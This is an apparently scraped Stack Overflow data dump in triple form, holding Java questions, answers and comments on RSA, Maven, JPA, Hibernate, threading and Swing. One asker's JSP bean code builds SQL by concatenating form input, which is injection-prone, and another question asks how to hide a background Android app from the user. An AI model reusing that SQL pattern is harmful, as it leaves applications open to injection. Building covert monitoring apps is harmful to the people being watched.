has answer: http://stackoverflow.com/a/22296901
has comment: http://stackoverflow.com/comment/33876406
tagged with: java
has answer: http://stackoverflow.com/a/22296969
type: Question
has answer: http://stackoverflow.com/a/22296836
has comment: http://stackoverflow.com/comment/33876465
has comment: http://stackoverflow.com/comment/33876196
has comment: http://stackoverflow.com/comment/33876297
score: 0
has answer: http://stackoverflow.com/a/22296986
has comment: http://stackoverflow.com/comment/33876360
has answer: http://stackoverflow.com/a/22297170
has comment: http://stackoverflow.com/comment/33876057
accepted answer: http://stackoverflow.com/a/22296969

http://stackoverflow.com/comment/34109059
has text: Well you will probably need a global boolean value in that case, saying that if the mouse is hovering over a button, turn it to true and don't play the sound if that value is true, and then as an else statement, just set that boolean variable to false because it's not hovering on a button
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/22333997
score: 0

http://stackoverflow.com/comment/33896648
comment on: http://stackoverflow.com/a/22306773
has text: It is working now.. I changed the setContentView as setContentView(R.layout.fragment_main) and removed the condition check on savedInstanceState
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/q/22191485
tagged with: encryption
has comment: http://stackoverflow.com/comment/33686187
type: AnsweredQuestion
has title: from string to byte array and then to string
tagged with: java
downvote count: 1
type: Question
has answer: http://stackoverflow.com/a/22191609
linked to: http://stackoverflow.com/q/8512121
answer count: 1
tagged with: cryptography
score: 1
tagged with: string
has comment: http://stackoverflow.com/comment/33686028
accepted answer: http://stackoverflow.com/a/22191609
favorite count: 0
has body: I'm trying to simulate the RSA encryption and decryption I want the encryption method to Take the string convert it into byte [] do the RSA function (as I will show in the following code) return the byte [] as a string what I have now and it works but with receiving and returning byte [] (not string) public byte[] encrypt (byte[] message){ byte [] t= ((new BigInteger(message)).modPow(e, N)).toByteArray(); return (t); } the decrypt method I want it to receive the returned String from encrypt() convert it into byte[] do the RSA on the byte[] to get the original byte [] return the original string what I have up until now public byte [] decrypt (byte [] message) { byte[] data= ((new BigInteger(message)).modPow(d, N)).toByteArray(); return data; } these 2 methods work, but I need to create a byte [] in my main class and use byte[]Str.getbyte() to encrypt and new String(byte []) to encrypt ..... I want my main to deal with only strings. When I use such a decrypt(String message) code public String decrypt (String message) { byte[] data= ((new BigInteger(message.getBytes())).modPow(d, N)).toByteArray(); return data.toString(); } it doesn't give me the original text as it does with decrypt(byte [] message), but it returns something like B@79f0a8b I'm sure I'm missing something related to converting the text into byte[] and vice versa, but I'm not sure what am I missing. I would love to hear from you. (sorry for my English)
upvote count: 2

http://stackoverflow.com/comment/33780315
has text: but he is invoke this into onCreate().
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22243671
type: AnswerComment

http://stackoverflow.com/a/22320978
type: Answer
has body: There is just one implementation in your code: LinkedList. Queue is one of the multiple interfaces implemented by LinkedList class.
upvote count: 1
score: 1
downvote count: 0
answers question: http://stackoverflow.com/q/22320369

http://stackoverflow.com/comment/33923096
type: Comment
has text: I know that it works, but I do not like it so I invested my reputation points to fix it :-) Can you provide me log category?
comment on: http://stackoverflow.com/a/22311085
type: AnswerComment
score: 0

http://stackoverflow.com/a/22302410
upvote count: 2
answers question: http://stackoverflow.com/q/22302327
score: 2
downvote count: 0
has body: Hint: use a variable that is holding "the largest sum reached so far". You will update it very time you compute a new sum. You will need to find "how and when do I initialize this variable ?" and "how do I update it ?"
type: Answer

http://stackoverflow.com/a/22222036
answers question: http://stackoverflow.com/q/22221528
score: 12
has comment: http://stackoverflow.com/comment/54292988
type: AcceptedAnswer
has body: You need an ImageReader. if size is 1 its not animated, everything above is animated. Check this out: public Snippet() { File f = new File("test.gif"); ImageReader is = ImageIO.getImageReadersBySuffix("GIF").next(); ImageInputStream iis; try { iis = ImageIO.createImageInputStream(f); is.setInput(iis); int images= is.getNumImages(true); } catch (IOException e) { e.printStackTrace(); } }
has comment: http://stackoverflow.com/comment/33740673
upvote count: 12
type: Answer
accepted answer of: http://stackoverflow.com/q/22221528
downvote count: 0

http://stackoverflow.com/comment/33769922
has text: @user2793390, what would be a better alternative using a filter and making sure my app is secure?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22237676
score: 0

http://stackoverflow.com/comment/33759470
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22232428
type: Comment
has text: @ThreaT In the context of multithreading. If you get multiple requests with each accessing the same counter. If you don't handle synchronization correctly, you might lose updates to the counter.

ant
tags question: http://stackoverflow.com/q/22311464
tags question: http://stackoverflow.com/q/22204152
tags question: http://stackoverflow.com/q/22283880
tags question: http://stackoverflow.com/q/22177443
tags question: http://stackoverflow.com/q/22293828
tags question: http://stackoverflow.com/q/22292051
tags question: http://stackoverflow.com/q/22268604
tags question: http://stackoverflow.com/q/22237811
tags question: http://stackoverflow.com/q/22282359
tags question: http://stackoverflow.com/q/22273529
type: Tag
tags question: http://stackoverflow.com/q/22233190
tags question: http://stackoverflow.com/q/22312332
tag name: ant
tags question: http://stackoverflow.com/q/22233913
tags question: http://stackoverflow.com/q/22266407
tags question: http://stackoverflow.com/q/22317448
tags question: http://stackoverflow.com/q/22305838
tags question: http://stackoverflow.com/q/22193992
tags question: http://stackoverflow.com/q/22263940
tags question: http://stackoverflow.com/q/22202472
tags question: http://stackoverflow.com/q/22277376
tags question: http://stackoverflow.com/q/22220738
tags question: http://stackoverflow.com/q/22296960
tags question: http://stackoverflow.com/q/22278849
tags question: http://stackoverflow.com/q/22322452
tags question: http://stackoverflow.com/q/22192873
tags question: http://stackoverflow.com/q/22188655

http://stackoverflow.com/comment/33779225
type: Comment
comment on: http://stackoverflow.com/q/22242287
has text: @raVan: I think 6 or 7
score: 0
type: QuestionComment

http://stackoverflow.com/q/22324554
has comment: http://stackoverflow.com/comment/33926389
tagged with: java
type: Question
has answer: http://stackoverflow.com/a/22351633
accepted answer: http://stackoverflow.com/a/22351633
score: 0
has title: Maven OSGI unresolved dependencies
answer count: 1
has body: I have converted my pom project to bundle Project. I wrote bundle in pom.xml. and I have added in pom.xml, which is in parent project these maven tag allows. org.apache.felix maven-bundle-plugin 2.4.0 true bundle process-classes manifest and Manifest.mf was generated automatically at META-INF in module pom.xml. Manifest.MF is as follow `Bundle-SymbolicName: at.ac.ait.dockingframes-ext Bundle-Version: 1.0.0.SNAPSHOT Created-By: Apache Maven Bundle Plugin Export-Package: at.ac.ait.dockingframes.theme;version="1.0.0.SNAPSHOT";u ses:="bibliothek.extension.gui.dock.theme,bibliothek.extension.gui.dock .theme.eclipse,bibliothek.extension.gui.dock.theme.eclipse.stack,biblio thek.extension.gui.dock.theme.eclipse.stack.tab,bibliothek.gui,biblioth ek.gui.dock.action,bibliothek.gui.dock.action.view,bibliothek.gui.dock. common,bibliothek.gui.dock.common.theme,bibliothek.gui.dock.themes,bibl iothek.gui.dock.themes.basic,bibliothek.gui.dock.themes.basic.action,bi bliothek.gui.dock.title",at.ac.ait.dockingframes.theme.stack.tab;versio n="1.0.0.SNAPSHOT";uses:="bibliothek.extension.gui.dock.theme.eclipse.s tack,bibliothek.extension.gui.dock.theme.eclipse.stack.tab,bibliothek.g ui",test;version="1.0.0.SNAPSHOT";uses:="bibliothek.extension.gui.dock. theme.eclipse,bibliothek.gui,bibliothek.gui.dock.action,bibliothek.gui. dock.action.view,bibliothek.gui.dock.common,bibliothek.gui.dock.common. action,bibliothek.gui.dock.themes.basic.action" Import-Package: bibliothek.gui.dock.util,bibliothek.gui.dock.common.acti on.core,bibliothek.util,bibliothek.gui.dock.util.font,bibliothek.gui.do ck.util.color,bibliothek.gui.dock.common.action,bibliothek.gui.dock.com mon.intern,bibliothek.gui.dock.themes.basic.action,bibliothek.gui.dock. title,bibliothek.gui.dock.action,bibliothek.gui.dock.support.util,bibli othek.gui,bibliothek.gui.dock.station.stack.tab,bibliothek.gui.dock.com mon.menu,bibliothek.util.xml,bibliothek.gui.dock.facile.menu,bibliothek .gui.dock.action.actions,bibliothek.gui.dock.themes.…
has comment: http://stackoverflow.com/comment/33927325
tagged with: osgi
tagged with: maven
type: AnsweredQuestion

http://stackoverflow.com/q/22202170
has answer: http://stackoverflow.com/a/22202227
answer count: 5
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33749559
tagged with: swing
has answer: http://stackoverflow.com/a/22202322
has answer: http://stackoverflow.com/a/22202298
has title: Call main method in a JButton
score: 0
tagged with: java
type: Question
has answer: http://stackoverflow.com/a/22203380
has answer: http://stackoverflow.com/a/22202268
has comment: http://stackoverflow.com/comment/33705763
tagged with: mainclass
has body: I would like to know, how to call the main method as it is in a JButton into a JFrame with an action performed, i mean, just press Compare Button &amp; execute the code from main class (Main class is separate from JFrame code). public static void main(String[]args){ Comparative comp = new Comparative(); if(comp.loadComparative(args[0])){ comp.compareDbs(); comp.sendEmail(); } } private void CompareActionPerformed(java.awt.event.ActionEvent evt) { ????????????? }
tagged with: netbeans-7

http://stackoverflow.com/comment/33726312
type: QuestionComment
has text: @MadProgrammer: For the sake of the question I would still be interested in an answer. What method can I use to detect if a relayouting is needed?
score: 0
comment on: http://stackoverflow.com/q/22213179
type: Comment

http://stackoverflow.com/q/22328133
has answer: http://stackoverflow.com/a/22328134
downvote count: 0
tagged with: java
linked to: http://stackoverflow.com/q/6608795
type: Question
has answer: http://stackoverflow.com/a/22329835
tagged with: eclipse
upvote count: 2
answer count: 2
has comment: http://stackoverflow.com/comment/33932347
favorite count: 0
type: UnansweredQuestion
has body: I know this question has been asked in a myriad of variations, but today I wish to emphasize one particular scenario when one wishes to read from a .txt file without specifying the absolute path. Suppose we have the following set up in Eclipse. projectName/packageName/subPackage/ and we have a class named Read.java inside the subPackage. The class will be attempting to read from the input1.txt. We also have input1.txt inside the very same subPackage. If one uses absolute paths, the code inside Read.java will be something of the following (let's assume now that input1.txt is placed on my Desktop for illustration purposes): // Create a list to store the list of strings from each line of the input1.txt. LinkedList&lt;String&gt; inputStrings = new LinkedList&lt;String&gt;(); BufferedReader bufferedTextIn = null; try { String line; // Specify the file String fileName = "C:" + File.separator + "Users" + File.separator + "Kevin" + File.separator + "Desktop" + File.separator + "input1.txt"; bufferedTextIn = new BufferedReader(new FileReader(fileName)); while ((line = bufferedTextIn.readLine()) != null) { inputStrings.add(line); } } catch (IOException e) { e.printStackTrace(); } finally { try { if (bufferedTextIn != null) { bufferedTextIn.close(); } } catch (IOException e) { e.printStackTrace(); } } The problem with the above is the use of absolute paths to my desktop. If I passed the code to my friend, he would need to manually change the path to his desktop. Even if I put input1.txt in my project folder, my friend would still need to manually change the path to make it work. Note that using File.separator is a good practice because different OS interprets separators a bit differently, but it is still insufficient. So what do we do instead?
has title: Reading .txt File From Relative Path in Java
has comment: http://stackoverflow.com/comment/33932658
score: 2

http://stackoverflow.com/comment/33884087
type: AnswerComment
comment on: http://stackoverflow.com/a/22296371
score: 0
has text: @McKevin The problem could be solved with either BFS or DFS - the solutions could look very similar, and indeed you could use BFS if you'd like - DFS will explore exactly the same nodes as BFS, just in a different order. The reasons I prefer DFS - it usually allows for a very simple recursive algorithm, incorporating memoization into this recursive algorithm should be near-trivial (where-as it could be a bit of a mission getting it to work with BFS), and DFS probably uses less memory (depending on the problem).
type: Comment

http://stackoverflow.com/q/22225854
tagged with: jdbc
has body: Hi iam tring to insert value in database using bean class in jsp form and i am able to this but i am getting little bit problem whenever i insert value in table null value also insert with them i tried not i am not able to get that where i m wrong please solve my problem my bean.java package com.javabean; import java.io.*; import java.sql.Connection; import java.sql.DriverManager; import java.sql.Statement; import java.sql.ResultSet; public class bean { private String msgid; private String message; private Connection connection=null; private ResultSet rs = null; private Statement st = null; String connectionURL = "jdbc:mysql://localhost:3306/JspBean"; public bean() { try { // Load the database driver Class.forName("com.mysql.jdbc.Driver"); // Get a Connection to the database connection = DriverManager.getConnection(connectionURL, "root", ""); }catch(Exception e){ System.out.println("Exception is ;"+e); } } public void setmsgid(String msgid) { this.msgid = msgid; } public String getmsgid() { return (this.msgid); } public void setmessage(String message) { this.message = message; } public String getmessage() { return (this.message); } public void insert() { try { String sql = "insert into login(messageid,message) values('"+msgid+"','"+message+"')"; Statement s = connection.createStatement(); s.executeUpdate (sql); s.close (); }catch(Exception e){ System.out.println("Exception is ;"+e); } } } here is my jspbean.jsp file &lt;%@ page language="Java" import="java.sql.*" %&gt; &lt;html&gt; &lt;head&gt;&lt;title&gt;JSP with Javabeans&lt;/title&gt;&lt;/head&gt; &lt;body bgcolor="#ffccff"&gt; &lt;h1&gt;JSP using JavaBeans example&lt;/h1&gt; &lt;form name="form1" method="POST"&gt; ID&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;input type="text" name ="msgid"&gt; &lt;br&gt; Message&lt;input type="text" name ="message"&gt; &lt;br&gt; &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;input type = "submit" value="Submit"&gt; &l…
tagged with: java
answer count: 1
downvote count: 1
has title: How to insert value in database using bean class in jsp?
tagged with: jsp
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/22226206
score: 1
tagged with: javabeans
favorite count: 0
type: Question
upvote count: 2
has comment: http://stackoverflow.com/comment/33747313

http://stackoverflow.com/q/22168858
upvote count: 0
tagged with: spy
tagged with: android
answer count: 1
favorite count: 0
tagged with: service
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/22169210
downvote count: 1
has title: is there a way to monitor application in background & invisible from user
has body: What I want to do is to create an application which can perform it's feature without user interaction. This shouldn't have any appicon at Applications page in Device. After installation user don't need to aware of application running in device. I tried with No Launcher Activity in a Demo Application but it is not running code of application and that's obvious. Is there a way to accomplish this task, Does this make any sense?
tagged with: java
score: -1
tagged with: background
type: Question

http://stackoverflow.com/q/22311539
has comment: http://stackoverflow.com/comment/33912342
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22311581
accepted answer: http://stackoverflow.com/a/22311581
tagged with: java
has comment: http://stackoverflow.com/comment/33903435
has title: ThreadExecutor forcing execution of Thread in infinite loop
type: Question
possible better answer: http://stackoverflow.com/a/22311583
has comment: http://stackoverflow.com/comment/33903357
score: 0
answer count: 2
has body: I have a multi-threaded server application. One of the Runnables uses an infinite loop to keep checking for connections. This is done using socket = serverSocket.accept() , which is a blocking call. When I shutdown my server I want to to stop all of my threads from executing. I tried threadExecutor.shutdown() and threadExecutor.shutdownNow(). None of those functions seem to kill the thread I mentioned above. Could you guys possibly help me out here? Thanks in advance!
has answer: http://stackoverflow.com/a/22311583
tagged with: multithreading

http://stackoverflow.com/comment/33728664
score: 1
has text: possible duplicate of [Can an abstract class have a constructor?](http://stackoverflow.com/questions/260666/can-an-abstract-class-have-a-constructor)
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/22214945

http://stackoverflow.com/q/22199066
has comment: http://stackoverflow.com/comment/33713197
tagged with: javascript
type: UnansweredQuestion
has title: Convert this kind of date format [Tue Mar 04 2014 00:00:00 GMT+0530 (Sri Lanka Standard Time) ] to Java Date Object
tagged with: fullcalendar
tagged with: date
type: Question
has answer: http://stackoverflow.com/a/22294140
has comment: http://stackoverflow.com/comment/33699095
score: 0
tagged with: java
has body: I'm using Jquery FullCalendar and It has a method to be called when a date cell event click. dayClick: function(date, allDay, jsEvent, view) { if (allDay) { alert('Clicked on the entire day: ' + date); }else { alert('Clicked on the slot: ' + date); } } It's kinda like above. But the date it prints or it has in date is like this. Tue Mar 04 2014 00:00:00 GMT+0530 (Sri Lanka Standard Time) How can I convert this kinda formatted string to a Java Date object. When i parse it it will through a parseException. I need to get a Java Date object which has the format of yyyy-MM-dd Updated : Basically I need to convert a date string of format Tue Mar 04 2014 00:00:00 GMT+0530 (Sri Lanka Standard Time) To a Java Date object. (specifically in format yyyy-MM-dd)
answer count: 1

http://stackoverflow.com/comment/33688241
type: AnswerComment
score: 0
type: Comment
has text: Start with the basics: XML Schema, WSDL, SOAP, WS-I, WS-*, JAX-WS. In that order.
comment on: http://stackoverflow.com/a/22192260

http://stackoverflow.com/comment/33772135
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22238462
has text: but the thing is that the user can enter 1 phone number, 2 phone numbers or 2+ phone numbers - so I thought using loop would be a better approach

http://stackoverflow.com/comment/33683004
type: Comment
has text: @CoinBird Ahh, I see. I've posted a new answer, as your revised code is essentially a new question. See it [here](http://stackoverflow.com/a/22189648/2081889).
comment on: http://stackoverflow.com/a/22188807
type: AnswerComment
score: 0

http://stackoverflow.com/q/22281038
possible better answer: http://stackoverflow.com/a/22281076
has answer: http://stackoverflow.com/a/22281071
score: 0
has answer: http://stackoverflow.com/a/22281076
has title: extract a smaller number from a larger number
has answer: http://stackoverflow.com/a/22281069
has answer: http://stackoverflow.com/a/22281134
favorite count: 0
has comment: http://stackoverflow.com/comment/33851298
answer count: 4
accepted answer: http://stackoverflow.com/a/22281134
upvote count: 1
downvote count: 1
type: Question
type: AnsweredQuestion
tagged with: java
has body: I am in a situation where I want to take a long UPC //12 digits and extract digits 1-6 and store them as private final MANUFACTURER_ID and also digits 7-11 to store as private final ITEM_NUMBER. I have a block of code that does this task in a rather ugly and roundabout manner, and I'm sure there's a more concise and correct way to do so. Here is the relevant code in the InventoryItem class, which has the UPC variable. Is there a different, more concise way to do this, regarding the section which extracts numbers from UPC? public InventoryItem( long UPC, Category category, Unit_Of_Measure unitOfMeasure, String binLocation, String aisle, String name, String description, short itemsPerUOM, int unitsInStock, int unitsLastReceived){ this.UPC = UPC; this.category = category; this.unitOfMeasure = unitOfMeasure; this.binLocation = binLocation; this.aisle = aisle; this.name = name; this.description = description; this.itemsPerUOM = itemsPerUOM; this.unitsInStock = unitsInStock; this.unitsLastReceived = unitsLastReceived; /* The code block below parses and extracts digits 1-6 of a UPC which is * the unique manufacturer ID. This block also repeats the same process for * digits 7-11 which are the manufacturer-specific Item Number. After these * steps, the temp Strings are converted to their long integer values and * used to initialize MANUFACTURER_ID and ITEM_NUMBER. The 12th digit of a * UPC is used for checksum and thus is ignored for the scope of this program */ String str = Long.toString(UPC); String tempManufacturerID = ""; String tempItemNumber = ""; char[] chArr = str.toCharArray(); //extract the manufacturer ID for(int i = 0; i &lt; 6; i++){ tempManufacturerID += String.valueOf(chArr[i]); } //extract the manufacturer's item number for(int i = 6; i &lt; 11; i++){ tempItemNumber += String.valueOf(chArr[i]); } // unbox and assign the extracted data to their respective variables MANUFACTURER_ID = Integer.valueOf(tempManufacturerID); ITEM_NUMBER = Integer.valueOf(tempItemNum…

http://stackoverflow.com/q/22209996
downvote count: 0
tagged with: java
type: AnsweredQuestion
score: 3
type: Question
accepted answer: http://stackoverflow.com/a/22211135
answer count: 1
tagged with: jpa
has body: My current application is an EJB 2.x system and uses Entity Beans everywhere, with CMR &amp; CMP. I am looking to replace the persistence layer with standard JPA and I am unable to find out if the following is possible. The system implements a logical delete by setting a column on the table VOID_IND = 'y' when the record is requested to be deleted. Current processing logic in the system will retrieve all items from the child table using the CMR and then loop and discard the ones with the VOID_IND = 'y' and only return to the client where VOID_IND = 'n'. This seems very inefficient to me and I would rather not return these "deleted" records in the first place. Unfortunately I have only been able to find annotations that are implementation specific to help with this. Hibernate as @Where and EclipseLink @AdditionalCriteria But I am wondering if there are standard annotations that work specifically with JPA?
favorite count: 0
upvote count: 3
has title: How to limit results to active records with JPA2 annotations
has answer: http://stackoverflow.com/a/22211135

http://stackoverflow.com/a/22280856
type: Answer
has body: I had the same problem yesterday after updating the latest packages on the Android SDK Manager. Fixed it by updating the Eclipse plugin: Run Eclipse > Help > Install new software > Paste the URL https://dl-ssl.google.com/android/eclipse/ then press Enter. After updating the plugin, I created a test project with the main activity and menu was created by default as normal.
score: 8
accepted answer of: http://stackoverflow.com/q/22219392
answers question: http://stackoverflow.com/q/22219392
type: AcceptedAnswer
downvote count: 0
upvote count: 8

http://stackoverflow.com/comment/72959723
score: 1
has text: And `return this.equals((SalesChannel) obj);` is a great pun!
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/39094145

network-programming
tags question: http://stackoverflow.com/q/22190514
tags question: http://stackoverflow.com/q/22235466
tags question: http://stackoverflow.com/q/22325368
tags question: http://stackoverflow.com/q/22240699
tags question: http://stackoverflow.com/q/22200377
tags question: http://stackoverflow.com/q/22327722
tags question: http://stackoverflow.com/q/22239140
tags question: http://stackoverflow.com/q/22176191
tags question: http://stackoverflow.com/q/22294079
type: Tag
tags question: http://stackoverflow.com/q/22221352
tag name: network-programming
tags question: http://stackoverflow.com/q/22179960
tags question: http://stackoverflow.com/q/22194953
tags question: http://stackoverflow.com/q/22291148

http://stackoverflow.com/q/22246105
answer count: 1
has answer: http://stackoverflow.com/a/22249095
has comment: http://stackoverflow.com/comment/33785786
score: 0
has title: Hibernate associate two entities via non-id column
has comment: http://stackoverflow.com/comment/33786211
has comment: http://stackoverflow.com/comment/33785086
tagged with: mapping
tagged with: orm
has body: I am facing the following scenario: Table Store: |Id|...|CostCenterNumber| Table MasterData: |dennskdnr|...| My current mapping looks like the following @Entity @Table(name = "Store") public class Store implements Identifiable { [...] @OneToOne(optional = true) @JoinColumn(name = "CostCenterNumber", insertable = false, updatable = false) private MasterData masterData; [...] } and @Entity @Table(name = "MasterData") public class MasterData { [...] @OneToOne(optional = true) @JoinColumn(name = "dennskdnr") private Store store; [...] } Leading me to the following exception: org.hibernate.TypeMismatchException: Provided id of the wrong type for class datamodel.Store. Expected: class java.lang.String, got class java.lang.Integer
has comment: http://stackoverflow.com/comment/33789261
has comment: http://stackoverflow.com/comment/33787718
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33787132
has comment: http://stackoverflow.com/comment/33789175
tagged with: java
tagged with: hibernate
has comment: http://stackoverflow.com/comment/33785122
accepted answer: http://stackoverflow.com/a/22249095
type: Question

http://stackoverflow.com/q/22183160
score: 5
answer count: 3
has comment: http://stackoverflow.com/comment/33672029
tagged with: jackson
favorite count: 0
upvote count: 5
has comment: http://stackoverflow.com/comment/33671768
has comment: http://stackoverflow.com/comment/33672050
tagged with: spring
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33671852
downvote count: 0
has title: Using Jackson2 with Spring 4.0 (MVC + REST+ Hibernate)
has comment: http://stackoverflow.com/comment/33672019
has answer: http://stackoverflow.com/a/22183720
accepted answer: http://stackoverflow.com/a/22183720
has comment: http://stackoverflow.com/comment/33671986
type: Question
has comment: http://stackoverflow.com/comment/33671818
has answer: http://stackoverflow.com/a/22196605
possible better answer: http://stackoverflow.com/a/26732174
tagged with: java
tagged with: hibernate
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/33672000
has answer: http://stackoverflow.com/a/26732174
has body: I am making a restful application and trying to convert a list of objects into json for a specific url (@RequestMapping / @ResponseBody ) I have jackson-hibernate4 and jackson-core ,databind etc in my classpath. Here is my object that i want to convert in json. @Entity @Table(name="Product") public class Product { @Id @Column(name="productId") @GeneratedValue protected int productId; @Column(name="Product_Name") protected String name; @Column(name="price") protected BigDecimal baseprice; @OneToMany(cascade = javax.persistence.CascadeType.ALL,mappedBy="product",fetch=FetchType.EAGER) protected List&lt;ProductOption&gt; productoption = new ArrayList&lt;ProductOption&gt;(); @OneToMany(cascade = javax.persistence.CascadeType.ALL,mappedBy="product",fetch=FetchType.EAGER) protected List&lt;ProductSubOption&gt; productSubOption = new ArrayList&lt;ProductSubOption&gt;(); @ManyToOne @JoinColumn(name="ofVendor") protected Vendor vendor; The two objects inside Product are also POJO'S.. Here is my method that retrieves the list of product @Override public List&lt;Product&gt; getMenuForVendor(int vendorId) { List&lt;Product&gt; result = em.createQuery("from "+Product.class.getName()+" where ofVendor = :vendorId").setParameter("vendorId", vendorId).getResultList(); System.out.println(result.size()); return result; } When i try to return this list in my controller I was getting a "Cannot lazily load for json" so i set my objects to be fetched eagerly. Here is my controller @Autowired private MenuDaoImpl ms; @RequestMapping(value = "/{vendorId}", method = RequestMethod.GET) public @ResponseBody List&lt;Product&gt; getMenu(@PathVariable int vendorId){ List&lt;Product&gt; Menu = Collections.unmodifiableList(ms.getMenuForVendor(vendorId)); return Menu; } Now when i hit my url localhost:8080/getMenu/1 I should be getting a json string displayed but I get a big list of errors WARN : org.springframework.web.servlet.mvc.support.DefaultHandlerExceptionResolver - Handling of [org.springfram…
has comment: http://stackoverflow.com/comment/33671924

http://stackoverflow.com/comment/33877989
score: 0
comment on: http://stackoverflow.com/q/22297722
type: Comment
type: QuestionComment
has text: its working when remove static final Object x2 = new Object(); statements program compile and run also but when add this statement come compile time error

http://stackoverflow.com/comment/59234929
type: Comment
comment on: http://stackoverflow.com/a/34489568
score: 0
type: AnswerComment
has text: Thank you, I tried that too, but it didn't work either. I'm thinking it must be some driver setting I'm missing rather than a URL issue. In the end I just gave up and went with the Microsoft driver.

http://stackoverflow.com/q/22266087
upvote count: 5
has comment: http://stackoverflow.com/comment/33821478
has comment: http://stackoverflow.com/comment/33821920
has answer: http://stackoverflow.com/a/65327928
tagged with: scala
tagged with: java
has answer: http://stackoverflow.com/a/22266277
accepted answer: http://stackoverflow.com/a/22266277
type: Question
type: AnsweredQuestion
has body: How can I translate this loop (in Java) to Scala? for(int i = 0, j = 0; i &lt; 10; i++, j++) { //Other code } My end goal is to loop through two lists at the same time. I want to get both elements at the same time at each index in the iteration. for(a &lt;- list1, b &lt;- list2) // doesn't work for(a &lt;- list1; b &lt;- list2) // Gives me the cross product
answer count: 2
score: 5
tagged with: for-loop
downvote count: 0
has title: Scala for loop with multiple variables
favorite count: 0
possible better answer: http://stackoverflow.com/a/65327928

http://stackoverflow.com/comment/33674860
has text: youre answer was really helpfull! didnt expect it would be neceressary to trim() those!!
score: 0
comment on: http://stackoverflow.com/a/22184632
type: Comment
type: AnswerComment

http://stackoverflow.com/a/22321598
score: 0
has body: I think you should call to interrupt() and then wait Threads to finish. Then you could do any actions without having threads running.
type: Answer
answers question: http://stackoverflow.com/q/22321501
has comment: http://stackoverflow.com/comment/33920192

http://stackoverflow.com/comment/33652493
type: AnswerComment
has text: it says DataAccessException cannot be instantiatied
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22172638

http://stackoverflow.com/a/22248539
score: 0
type: Answer
answers question: http://stackoverflow.com/q/22219380
accepted answer of: http://stackoverflow.com/q/22219380
type: AcceptedAnswer
has body: You can try the following code: protected boolean isTextPresent(String text){ try{ boolean b = driver.getPageSource().contains(text); return b; } catch(Exception e){ return false; } } String s[] = {"test comment1", "test comment2"}; for(int i =0; i&lt;s.length; i++){ driver.findElement(By.name("comment_body[und][0][value]")).sendKeys(s[i]); driver.findElement(By.xpath("//a[@onclick='commnet_form_submit_handler(); return false;']")).click(); assertTrue(isTextPresent(s[i])); }

http://stackoverflow.com/q/22201762
tagged with: multithreading
possible better answer: http://stackoverflow.com/a/22201831
has answer: http://stackoverflow.com/a/22201831
type: AnsweredQuestion
score: 3
downvote count: 0
has body: I am trying to find a good way to achieve the following API: void add(Object o); void processAndClear(); The class would store the objects and upon calling processAndClear would iterate through the currently stored ones, process them somehow, and then clear the store. This class should be thread safe. the obvious approach is to use locking, but I wanted to be more "concurrent". This is the approach which I would use: class Store{ private AtomicReference&lt;CopyOnWriteArrayList&lt;Object&gt;&gt; store = new AtomicReference&lt;&gt;(new CopyOnWriteArrayList &lt;&gt;()); void add(Object o){ store.get().add(o); } void processAndClear(){ CopyOnWriteArrayList&lt;Object&gt; objects = store.get(); store.compareAndSet(objects, new CopyOnWriteArrayList&lt;&gt;()); for (Object object : objects) { //do sth } } } This would allow threads that try to add objects to proceed almost immediately without any locking/waiting for the xlearing to complete. Is this the more or less correct approach?
tagged with: java
type: Question
answer count: 2
tagged with: locking
accepted answer: http://stackoverflow.com/a/22202003
upvote count: 3
has title: Java - concurrent clear of the list
has answer: http://stackoverflow.com/a/22202003
tagged with: copyonwritearraylist
favorite count: 0

http://stackoverflow.com/comment/33888259
type: Comment
has text: ah yes, I forgot to call the method in my initial file. This + logical fails were the issue. Thanks a lot (:
type: AnswerComment
comment on: http://stackoverflow.com/a/22302454
score: 0

http://stackoverflow.com/comment/33784411
score: 0
type: Comment
has text: That's not the case. From Lucene's perspective, there's no difference between `_source` and any other stored field. You can learn more about Lucene's storage internals here - http://lucene.apache.org/core/4_7_0/core/org/apache/lucene/codecs/lucene46/package-summary.html
comment on: http://stackoverflow.com/a/22230016
type: AnswerComment

http://stackoverflow.com/q/22221679
answer count: 3
has answer: http://stackoverflow.com/a/66071870
has body: official documentation http://docs.sonarqube.org/display/SONAR/Analyzing+with+Maven says that the proper way of invoking sonar is: mvn clean install -DskipTests=true mvn sonar:sonar but doesn't say why. how does sonar work? does it need compiled classes? so why not just mvn clean compile? or does it need a jar file? so why not just mvn clean package? what exactly does sonar plugin?
downvote count: 0
has comment: http://stackoverflow.com/comment/33817108
has comment: http://stackoverflow.com/comment/33740410
favorite count: 0
type: UnansweredQuestion
has title: why sonar:sonar needs mvn install before?
tagged with: maven
has answer: http://stackoverflow.com/a/22223408
score: 7
tagged with: java
upvote count: 7
has answer: http://stackoverflow.com/a/22262467
type: Question
has comment: http://stackoverflow.com/comment/33740794
tagged with: sonarqube
linked to: http://stackoverflow.com/q/31024392

http://stackoverflow.com/a/22194322
accepted answer of: http://stackoverflow.com/q/22175544
has body: To me, it seems that this issue is a Hibernate problem. I just changed hibernate version to 4.2.7, and it works well.
answers question: http://stackoverflow.com/q/22175544
score: 1
upvote count: 1
type: AcceptedAnswer
downvote count: 0
type: Answer

http://stackoverflow.com/comment/33845371
has text: @MarounMaroun, its a label to break the outer cycle once `j` is found
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22279527

http://stackoverflow.com/q/22269307
has title: Inserting initial data JPA
tagged with: java
